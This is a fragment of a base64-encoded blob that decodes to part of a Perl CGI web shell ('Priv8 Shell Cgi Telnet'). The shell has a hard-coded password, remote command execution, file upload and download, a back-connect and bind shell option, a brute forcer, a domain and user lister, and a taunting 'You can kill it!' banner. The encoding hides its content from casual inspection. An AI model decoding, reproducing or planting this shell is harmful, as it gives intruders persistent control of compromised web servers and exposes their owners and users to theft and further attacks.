0gY3lhbjsKCWNvbG9yOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkKewoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7Cn0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCXZhciBhamF4PSIiOwoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7Cgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglpZihmPT0nZicpCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kZGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7Cgl9ZWxzZQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsKCX0KfQo8L3NjcmlwdD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPgoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoKCTx0ZD4KCgkJPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+JEVOVnsiU0VSVkVSX1NPRlRXQVJFIn08L2ZvbnQ+Cgk8L3RkPgoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI2ZmZmZmZiI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNmZmZmZmYiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+Cgk8L3RkPgoKPC90cj4KCjx0cj4KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8Cgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8CjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPgoKPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIiA+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CgoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7CiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uCiAgICByZXR1cm47CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7CiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7CiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsKICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOwogIHRoaXMuY3VycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7CiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFsc2U7CiAgdGhpcy50YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOwp9ClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7ClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsKVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsKICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOwp9ClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsKICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsKICAgICAgdGhpcy5pblRhZyA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgfQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7CiAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuY3VycmVudFRleHQgPSAiIjsKCXRoaXMuY3VycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8L3NjcmlwdD4KPC9wcmU+Cgo8Zm9udCBzdHlsZT0iZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogYmx1ZTsiPlsgUHJpdjggU2hlbGwgQ2dpIFRlbG5ldCBdPC9mb250Pjxicj48Zm9udCBzdHlsZT0iZm9udDogOHB0IFZlcmRhbmE7IGNvbG9yOiBibHVlOyI+UGFzc3dvcmQ6IGhhY2tlcjA4ODIgPC9mb250Pjxicjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzA5NjBmZiI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDk2MGZmIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiMwOTYwZmYiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwOTYwZmYiPjxmb250IGNvbG9yPSIjMDk2MGZmIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzA5NjBmZiI+PGZvbnQgY29sb3I9IiMwOTYwZmYiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjMDk2MGZmIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDk2MGZmIj48Zm9udCBjb2xvcj0iIzA5NjBmZiI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7C